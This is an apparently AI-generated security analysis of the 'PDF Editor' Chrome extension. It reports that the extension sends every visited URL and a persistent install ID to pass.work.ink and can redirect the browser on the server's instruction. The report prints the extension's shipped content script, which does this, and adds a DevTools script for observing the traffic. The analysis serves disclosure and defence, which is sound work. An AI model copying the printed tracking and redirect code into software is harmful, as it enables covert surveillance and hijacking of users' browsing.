Is PDF Editor safe?
PDF Editor is high risk. On every HTTP or HTTPS page, PDF Editor sends the full URL, encoded and linked to a permanent install ID, to pass.work.ink. Undisclosed, unrelated to PDF editing. A planted marker confirmed the URL leaves the device.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Every page you visit is transmitted to pass.work.ink with a persistent ID
On every HTTP or HTTPS page, PDF Editor sends the full URL, encoded and linked to a permanent install ID, to pass.work.ink.
Undisclosed, unrelated to PDF editing.
A planted marker confirmed the URL leaves the device.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You navigate to any web page.
The extension immediately sends the full URL of that page to pass.work.ink along with a permanent identifier unique to your install.
This happens at document_start, before the page finishes loading, and without any action on your part beyond visiting the page.
JSON: {"noRedirect":true,"to":"the planted marker URL","timestamp":"2026-04-15T09:21:05.686Z"}
- The URL you are visitinghttps://en.wikipedia.org/wiki/Example_Page
The page address, base64-encoded in the request path. Includes query parameters such as search terms, account IDs, or session tokens.
- Your persistent install IDpdfeditor-06a1430f-81c9-4a6c-af52-6883af34f5c5
A UUID prefixed 'pdfeditor-', generated once and stored permanently, sent on every request so the server can link all your visits over time.
- Whether you have an ad blocker0
The extension reports whether another ad-blocking extension is active in your browser.
The content script that runs on every page, as shipped:
inject2.js — annotated readable version
// Runs at document_start on every HTTP/HTTPS page.// Step 1: get the current page URL.const currentUrl = window.location.href;if (!currentUrl || currentUrl.trim() === '' || !currentUrl.startsWith('http')) return;// Step 2: retrieve the persistent fingerprint UUID from the background.const fingerprint = await chrome.runtime.sendMessage({ type: 'getFingerprint' });// Step 3: check if an ad blocker is installed.const adblockerInstalled = (await chrome.runtime.sendMessage({ type: 'getAdblockerStatus' })) ? 1 : 0;// Step 4: transmit the visited URL (base64-encoded) + fingerprint to pass.work.ink.const response = await fetch( `https://pass.work.ink/redirect/${encodeURIComponent(btoa(currentUrl))}` + `?fingerprint=${encodeURIComponent(fingerprint)}&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);// Step 5: parse the JSON response.const result = await response.json();// Step 6: if the server tells us to redirect, navigate the tab to the server-specified URL.if (!result.noRedirect) { window.location.href = result.to;}- pass.work.ink
Receives the full URL of every page visited, your persistent install ID, and IP address. Listed in the manifest's externally_connectable field, so the developer operates it.
Intercepts the fetch() call made by the PDF Editor content script and logs the visited URL and fingerprint from the outbound request. Run this in the DevTools console of any page while the extension is active to confirm the behavior.
- Chrome with the PDF Editor extension installed
- Chrome DevTools
// pdf-editor-url-observer.js// Hooks window.fetch to intercept the URL-exfiltration request made by// PDF Editor's inject2.js content script on every page load.(function() { const origFetch = window.fetch; window.fetch = async function(resource, init) { const url = typeof resource === 'string' ? resource : resource?.url; if (url && url.includes('pass.work.ink/redirect/')) { // Decode the visited URL from the request path. try { const urlObj = new URL(url); const encodedPath = urlObj.pathname.replace('/redirect/', ''); const visitedUrl = atob(decodeURIComponent(encodedPath)); const fingerprint = urlObj.searchParams.get('fingerprint'); const adBlocker = urlObj.searchParams.get('adblockerInstalled'); console.group('[PDF_EDITOR_TRACKER] Outbound request intercepted'); console.log('Visited URL sent to server:', visitedUrl); console.log('Persistent fingerprint ID:', fingerprint); console.log('Ad blocker detected:', adBlocker === '1' ? 'yes' : 'no'); console.log('Full request URL:', url); console.groupEnd(); } catch (e) { console.warn('[PDF_EDITOR_TRACKER] Failed to decode:', url, e); } } return origFetch.apply(this, arguments); }; console.log('[PDF_EDITOR_TRACKER] installed — navigate to any page to see captured requests.');})();- 1Install PDF Editor (deaiapbieocoklikiokamcdklicacgdo).
- 2Open any HTTP/HTTPS page.
- 3Open DevTools (F12), Console.
- 4Paste this script, press Enter.
- 5Load a page; console logs the URL sent to pass.work.ink with your fingerprint ID.
Remote server can redirect your browser to any URL on every page visit
On every page, PDF Editor contacts pass.work.ink and reads a JSON reply naming where to navigate.
If noRedirect is false, it redirects to any server-picked URL, unasked.
Observed replies say noRedirect:true; the mechanism is fully live.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You navigate to any web page.
The extension queries pass.work.ink and evaluates the server's response to decide whether to navigate your browser to a different URL.
If the server returns noRedirect:false, the extension replaces the current page with whatever URL the server specifies, without any warning or confirmation.
HTTP 200 JSON: {"noRedirect":true,"to":"https://www.google.com/","timestamp":"2026-04-15T09:21:05.686Z"}
The redirect evaluation code in inject2.js:
inject2.js — annotated
// Fetch the redirect instruction from the server.const response = await fetch( `https://pass.work.ink/redirect/${encodeURIComponent(btoa(currentUrl))}` + `?fingerprint=${encodeURIComponent(fingerprint)}&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);// Parse the JSON response.const instruction = await response.json();// instruction example: { noRedirect: true, to: 'https://www.google.com/', timestamp: '2026-04-15T09:21:05.686Z' }// If the server says to redirect, navigate to the server-specified URL.// The destination is entirely determined by the server's current response.if (!instruction.noRedirect) { window.location.href = instruction.to; // overrides the current page}During our analysis session, pass.work.ink returned `noRedirect:true` for all 7 requests we captured, meaning no actual redirects occurred in our test. However, the redirect code path is fully active in the installed extension for all ~100K users. The server operator can activate redirects at any time by changing the `noRedirect` flag in responses, without any extension update or notification to users. The Chrome Web Store listing for PDF Editor does not mention this server-controlled navigation behavior.
- pass.work.ink
Returns JSON on every navigation naming whether and where to redirect. Listed in the manifest's externally_connectable field under work.ink, indicating the developer operates it.
Every visited URL and device fingerprint sent to pass.work.ink on each page load
Every page you visit triggers a background request sending its full URL plus a unique device ID to pass.work.ink.
The ID is generated at install and stored permanently, letting the operator link your browsing across sites and restarts.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You navigate to any page in the browser.
The extension without notifying the user sends the full page URL and your permanent device ID to pass.work.ink.
This happens on every navigation, including authenticated sessions and private pages.
{ "fingerprint": "pdfeditor-1569a92b-47de-47fb-aca0-be7168936479"}- pass.work.ink
Receives full browsing URL history and persistent device fingerprint for every page load. Also controls redirect destinations sent back to the extension.
What it can do
Permissions this extension asks for, as declared in version 1.0.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage